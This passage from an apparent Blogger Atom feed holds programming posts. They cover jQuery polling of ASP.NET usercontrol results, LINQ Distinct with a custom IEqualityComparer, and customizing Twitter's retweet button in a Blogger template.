#f3f3f3"&gt;    &lt;span style="color:#0000ff"&gt;return&lt;/span&gt;;&lt;/li&gt; &lt;li&gt;}&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;&lt;strong&gt;3. Exploiting these fresh results in your JavaScript&lt;/strong&gt;, the best way would be by setting an interval for a function that checks the results in the placeholder every &lt;em&gt;given&lt;/em&gt; moments.&lt;/p&gt; &lt;p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:2d734fea-7bb8-47a5-b303-17db2bfdaf9f" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 400px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;script&lt;/span&gt; &lt;span style="color:#ff0000"&gt;src&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;http://my-super-slow-uncool-laptop/jquery/jquery-1.4.2.min.js&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;type&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;text/javascript&amp;quot;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;script&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;nbsp;&lt;/li&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;script&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    $(document).ready(&lt;span style="color:#0000ff"&gt;function&lt;/span&gt; () {&lt;/li&gt; &lt;li&gt;        $(&lt;span style="color:#800000"&gt;&amp;quot;#button1&amp;quot;&lt;/span&gt;).click(&lt;span style="color:#0000ff"&gt;function&lt;/span&gt; () {&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;                alert($(&lt;span style="color:#800000"&gt;&amp;quot;.ResultPlaceHolder&amp;quot;&lt;/span&gt;).text());&lt;/li&gt; &lt;li&gt;        });&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    });&lt;/li&gt; &lt;li&gt;&amp;nbsp;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;   &lt;span style="color:#0000ff"&gt;var&lt;/span&gt; i = 1;&lt;/li&gt; &lt;li&gt;   &lt;span style="color:#0000ff"&gt;function&lt;/span&gt; updateResult() {&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;        &lt;span style="color:#006400"&gt;// DO WHAT EVER YOU WISH WITH THE RESULTS&lt;/span&gt;&lt;/li&gt; &lt;li&gt;       i++;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;       &lt;span style="color:#0000ff"&gt;if&lt;/span&gt; (i &amp;lt; 10)&lt;/li&gt; &lt;li&gt;           $(&lt;span style="color:#800000"&gt;&amp;quot;#show&amp;quot;&lt;/span&gt;).html($(&lt;span style="color:#800000"&gt;&amp;quot;#show&amp;quot;&lt;/span&gt;).html() + &lt;span style="color:#800000"&gt;&amp;quot;&amp;lt;br/&amp;gt;&amp;quot;&lt;/span&gt; + $(&lt;span style="color:#800000"&gt;&amp;quot;.ResultPlaceHolder&amp;quot;&lt;/span&gt;).text());&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;       &lt;span style="color:#0000ff"&gt;else&lt;/span&gt; {&lt;/li&gt; &lt;li&gt;           $(&lt;span style="color:#800000"&gt;&amp;quot;#show&amp;quot;&lt;/span&gt;).html($(&lt;span style="color:#800000"&gt;&amp;quot;.ResultPlaceHolder&amp;quot;&lt;/span&gt;).text());&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;           i = 1;&lt;/li&gt; &lt;li&gt;       }&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;   }&lt;/li&gt; &lt;li&gt;&amp;nbsp;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;   setInterval(updateResult, 1000);&lt;/li&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;script&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;p&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;    &lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;input&lt;/span&gt; &lt;span style="color:#ff0000"&gt;type&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;button&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;value&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;Ajax it&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;id&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;button1&amp;quot;/&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    &lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;div&lt;/span&gt; &lt;span style="color:#ff0000"&gt;id&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;show&amp;quot;/&amp;gt;&lt;/span&gt; &lt;/li&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;p&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&lt;/p&gt; &lt;p&gt;And voila, this is a nasty &lt;em&gt;nonadviced&lt;/em&gt; method to do Ajax calls to webcontrols’ methods, a la “vite fait”. Enjoy.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-5207043789672984211?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/5207043789672984211/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/09/ajax-calls-on-aspnet-usercontrols.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5207043789672984211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5207043789672984211'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/09/ajax-calls-on-aspnet-usercontrols.html' title='Ajax Calls on ASP.NET UserControls'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-1525674193076665933</id><published>2010-09-04T03:33:00.001+02:00</published><updated>2010-09-04T03:34:39.789+02:00</updated><title type='text'>How to select distinct values based on a specific predicate using Linq Disctinct method</title><content type='html'>&lt;p&gt;Selecting distinct values in a Linq query while working on non trivial data need more than a simple call to the extension method Distinct().&lt;/p&gt; &lt;p&gt;Say I have the following xml data, and I want to select only distinct data elements based on their &lt;em&gt;date&lt;/em&gt; attribute.&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:c30ea17b-eae6-4b1a-942f-4cc7a6191c9e" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&amp;lt;SOMETING&amp;gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    &amp;lt;HISTORY&amp;gt;&lt;/li&gt; &lt;li&gt;        &amp;lt;data date=&lt;span style="color:#a31515"&gt;&amp;quot;19/01/10 14:34:00&amp;quot;&lt;/span&gt; &amp;gt;1963&amp;lt;/data&amp;gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;        &amp;lt;data date=&lt;span style="color:#a31515"&gt;&amp;quot;19/01/10 13:34:00&amp;quot;&lt;/span&gt; &amp;gt;1960&amp;lt;/data&amp;gt;&lt;/li&gt; &lt;li&gt;        &amp;lt;data date=&lt;span style="color:#a31515"&gt;&amp;quot;19/01/10 14:34:00&amp;quot;&lt;/span&gt; &amp;gt;1960&amp;lt;/data&amp;gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;        &amp;lt;data date=&lt;span style="color:#a31515"&gt;&amp;quot;17/01/10 21:34:00&amp;quot;&lt;/span&gt; &amp;gt;1911&amp;lt;/data&amp;gt;&lt;/li&gt; &lt;li&gt;        &amp;lt;data date=&lt;span style="color:#a31515"&gt;&amp;quot;17/01/10 21:34:00&amp;quot;&lt;/span&gt; &amp;gt;1911&amp;lt;/data&amp;gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;        &amp;lt;data date=&lt;span style="color:#a31515"&gt;&amp;quot;17/01/10 11:34:00&amp;quot;&lt;/span&gt; &amp;gt;1911&amp;lt;/data&amp;gt;&lt;/li&gt; &lt;li&gt;        &amp;lt;data date=&lt;span style="color:#a31515"&gt;&amp;quot;17/01/10 18:34:00&amp;quot;&lt;/span&gt; &amp;gt;1911&amp;lt;/data&amp;gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;        &amp;lt;data date=&lt;span style="color:#a31515"&gt;&amp;quot;17/01/10 17:34:00&amp;quot;&lt;/span&gt; &amp;gt;1911&amp;lt;/data&amp;gt;&lt;/li&gt; &lt;li&gt;    &amp;lt;/HISTORY&amp;gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;lt;/SOMETING&amp;gt;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;As you can see there are some duplicates regarding the &lt;em&gt;date&lt;/em&gt; attribute, the following Linq query will return all the data elements as an &lt;em&gt;IEnumerable&lt;/em&gt; of &lt;em&gt;HistoryDataElement&lt;/em&gt;.&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:d7ab2f3f-01ea-4203-b9c7-0ee7108daeb1" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 400px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;class&lt;/span&gt; &lt;span style="color:#2b91af"&gt;HistoryDataElement&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;{&lt;/li&gt; &lt;li&gt;    &lt;span style="color:#0000ff"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff"&gt;string&lt;/span&gt; Date { &lt;span style="color:#0000ff"&gt;get&lt;/span&gt;; &lt;span style="color:#0000ff"&gt;set&lt;/span&gt;; }&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    &lt;span style="color:#0000ff"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff"&gt;int&lt;/span&gt; Value { &lt;span style="color:#0000ff"&gt;get&lt;/span&gt;; &lt;span style="color:#0000ff"&gt;set&lt;/span&gt;; }&lt;/li&gt; &lt;li&gt;}&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;nbsp;&lt;/li&gt; &lt;li&gt;&lt;span style="color:#2b91af"&gt;XDocument&lt;/span&gt; doc = &lt;span style="color:#2b91af"&gt;XDocument&lt;/span&gt;.Parse(xml);&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;nbsp;&lt;/li&gt; &lt;li&gt;var dataElements = (&lt;span style="color:#0000ff"&gt;from&lt;/span&gt; data &lt;span style="color:#0000ff"&gt;in&lt;/span&gt; doc.Descendants(&lt;span style="color:#a31515"&gt;&amp;quot;data&amp;quot;&lt;/span&gt;)&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;                                &lt;span style="color:#0000ff"&gt;select&lt;/span&gt; &lt;span style="color:#0000ff"&gt;new&lt;/span&gt; &lt;span style="color:#2b91af"&gt;HistoryDataElement&lt;/span&gt;&lt;/li&gt; &lt;li&gt;                                {&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;                                    Date = data.Attribute(&lt;span style="color:#a31515"&gt;&amp;quot;date&amp;quot;&lt;/span&gt;).Value,&lt;/li&gt; &lt;li&gt;                                    Value = &lt;span style="color:#0000ff"&gt;int&lt;/span&gt;.Parse(data.Value)&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;                                });&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;If we want distinct results based on the &lt;em&gt;date&lt;/em&gt; attribute for example, we have to create a comparison class that implements the interface&lt;em&gt; IEqualityComparer&amp;lt;T&amp;gt;.&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Here is a very simple implementation:&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:d1c0aec0-f523-4776-91d3-df8077ff8a9f" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;class&lt;/span&gt; &lt;span style="color:#2b91af"&gt;DataExtractorElementComparer&lt;/span&gt; : &lt;span style="color:#2b91af"&gt;IEqualityComparer&lt;/span&gt;&amp;lt;&lt;span style="color:#2b91af"&gt;HistoryDataElement&lt;/span&gt;&amp;gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;{&lt;/li&gt; &lt;li&gt;&amp;nbsp;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    &lt;span style="color:#0000ff"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff"&gt;bool&lt;/span&gt; Equals(&lt;span style="color:#2b91af"&gt;HistoryDataElement&lt;/span&gt; x, &lt;span style="color:#2b91af"&gt;HistoryDataElement&lt;/span&gt; y)&lt;/li&gt; &lt;li&gt;    {&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;        &lt;span style="color:#0000ff"&gt;return&lt;/span&gt; x.Date == y.Date;&lt;/li&gt; &lt;li&gt;    }&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;nbsp;&lt;/li&gt; &lt;li&gt;    &lt;span style="color:#0000ff"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff"&gt;int&lt;/span&gt; GetHashCode(&lt;span style="color:#2b91af"&gt;HistoryDataElement&lt;/span&gt; obj)&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    {&lt;/li&gt; &lt;li&gt;        &lt;span style="color:#0000ff"&gt;return&lt;/span&gt; obj.Date.GetHashCode();&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    }&lt;/li&gt; &lt;li&gt;}&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;With this class in place, we can just pass a new instance of this class to the &lt;em&gt;Distinct&lt;/em&gt; method to get the desired results :&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:7ff7f216-6247-418c-86b4-c4e68b70b6a8" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 400px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;var&lt;/span&gt; dataElements = (&lt;span style="color:#0000ff"&gt;from&lt;/span&gt; data &lt;span style="color:#0000ff"&gt;in&lt;/span&gt; doc.Descendants(&lt;span style="color:#a31515"&gt;&amp;quot;data&amp;quot;&lt;/span&gt;)&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;                                &lt;span style="color:#0000ff"&gt;select&lt;/span&gt; &lt;span style="color:#0000ff"&gt;new&lt;/span&gt; &lt;span style="color:#2b91af"&gt;HistoryDataElement&lt;/span&gt;&lt;/li&gt; &lt;li&gt;                                {&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;                                    Date = data.Attribute(&lt;span style="color:#a31515"&gt;&amp;quot;date&amp;quot;&lt;/span&gt;).Value,&lt;/li&gt; &lt;li&gt;                                    Value = &lt;span style="color:#0000ff"&gt;int&lt;/span&gt;.Parse(data.Value)&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;                                }).Distinct(&lt;span style="color:#0000ff"&gt;new&lt;/span&gt; &lt;span style="color:#2b91af"&gt;DataExtractorElementComparer&lt;/span&gt;());&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;Notice that this way, you are eliminating all the duplicates that have the same property &lt;em&gt;date&lt;/em&gt;, so only the first element of the matching elements is retrieved even If the other properties differ, this is cited by code in the &lt;em&gt;Equals&lt;/em&gt; method of the &lt;em&gt;IEqualityComparer&amp;lt;T&amp;gt;.&lt;/em&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-1525674193076665933?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/1525674193076665933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/09/how-to-select-distinct-values-based-on.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/1525674193076665933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/1525674193076665933'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/09/how-to-select-distinct-values-based-on.html' title='How to select distinct values based on a specific predicate using Linq Disctinct method'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-5562831237898301788</id><published>2010-08-26T15:56:00.001+02:00</published><updated>2010-08-26T15:57:49.710+02:00</updated><title type='text'>How To Use the New Twitter Retweet Button in Blogger</title><content type='html'>&lt;p&gt;After the release of the new native retweet button from twitter it is better to use this one than the old tweetmeme retweet button, since tweetmeme themselves recommend using the new native button from twitter now.&lt;/p&gt; &lt;p align="center"&gt;&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/THZyjGh0mII/AAAAAAAACcc/wDSXnwnkwII/s1600-h/retweet%5B11%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="retweet" border="0" alt="retweet" src="http://lh4.ggpht.com/_MIqc395dv38/THZykwYilII/AAAAAAAACcg/65aScKVVlkk/retweet_thumb%5B7%5D.png?imgmax=800" width="312" height="121"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Inserting the code provided by twitter (&lt;a title="http://twitter.com/goodies/tweetbutton" href="http://twitter.com/goodies/tweetbutton" target="_blank"&gt;http://twitter.com/goodies/tweetbutton&lt;/a&gt;) directly into your template will not work on your blog home page, since all the tweet counts will have the number of tweets mentioning the home page and not each post, hence the problem. To solve it, you can customize the button as follows.&lt;/p&gt; &lt;p&gt;Tweetmeme used to use Javascript for customization, but twitter offer a new way to do this, by inserting directly data as attributes for the html button. You can insert the code wherever you want inside the &lt;font style="background-color: #cccccc"&gt;&lt;em&gt;&amp;lt;b:loop values='data:posts' var='post'&amp;gt;&lt;/em&gt;&lt;/font&gt; element.&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:fa5a09fc-8546-45e1-a10a-a563f44c2f02" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #000080; color: #fff; font-family: Verdana, Tahoma, Arial, sans-serif; font-weight: bold; padding: 2px 5px"&gt;Twitter retweet for Blogger&lt;/div&gt; &lt;div style="background: #ddd; max-height: 500px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;b&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#800000"&gt;if&lt;/span&gt; &lt;span style="color:#ff0000"&gt;cond&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;#39;data:blog.pageType != &amp;amp;quot;item&amp;amp;quot;&amp;#39;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    &lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;a&lt;/span&gt; &lt;span style="color:#ff0000"&gt;href&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;http://twitter.com/share&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;class&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;twitter-share-button&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;data-count&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;horizontal&amp;quot;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;    &lt;span style="color:#ff0000"&gt;expr&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#ff0000"&gt;data-url&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;data:post.url&amp;quot;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    &lt;span style="color:#ff0000"&gt;expr&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#ff0000"&gt;data-text&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;#39;data:blog.pageTitle + &amp;quot;: &amp;quot; + data:post.title&amp;#39;&amp;gt;&lt;/span&gt;Tweet&lt;span style="color:#0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;a&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;    &lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;script&lt;/span&gt; &lt;span style="color:#ff0000"&gt;type&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;text/javascript&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;src&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;http://platform.twitter.com/widgets.js&amp;quot;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;script&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&lt;span style="color:#0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;b&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#800000"&gt;if&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;            &lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;b&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#800000"&gt;if&lt;/span&gt; &lt;span style="color:#ff0000"&gt;cond&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;#39;data:blog.pageType == &amp;amp;quot;item&amp;amp;quot;&amp;#39;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;    &lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;a&lt;/span&gt; &lt;span style="color:#ff0000"&gt;href&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;http://twitter.com/share&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;class&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;twitter-share-button&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;data-count&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;horizontal&amp;quot;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    &lt;span style="color:#ff0000"&gt;expr&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#ff0000"&gt;data-url&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;data:post.url&amp;quot;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;    &lt;span style="color:#ff0000"&gt;expr&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#ff0000"&gt;data-text&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;data:blog.pageTitle&amp;quot;&amp;gt;&lt;/span&gt;Tweet&lt;span style="color:#0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;a&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    &lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;script&lt;/span&gt; &lt;span style="color:#ff0000"&gt;type&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;text/javascript&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;src&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;http://platform.twitter.com/widgets.js&amp;quot;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;script&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;b&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#800000"&gt;if&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;    &lt;/span&gt;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;If you don’t know where to put the above code, search for &lt;font style="background-color: #cccccc" face="Courier New"&gt;&lt;strong&gt;&lt;em&gt;&amp;lt;b:include data='post' name='post'/&amp;gt;&lt;/em&gt;&lt;/strong&gt;&lt;/font&gt; and insert the code before this element to show the retweet button at the top of each post, or after to show it at the end of each post.&lt;/p&gt; &lt;p&gt;Here we are inserting the same code proposed from twitter and customizing the &lt;strong&gt;data-url&lt;/strong&gt; and &lt;strong&gt;data-text&lt;/strong&gt; so that the url for each retweet button is the one of the blog post itself and not the home page, and the text is the tile of the page alone if we are viewing a specific post, or the title of the blog plus the title of the post if we are viewing the homepage.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-5562831237898301788?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' 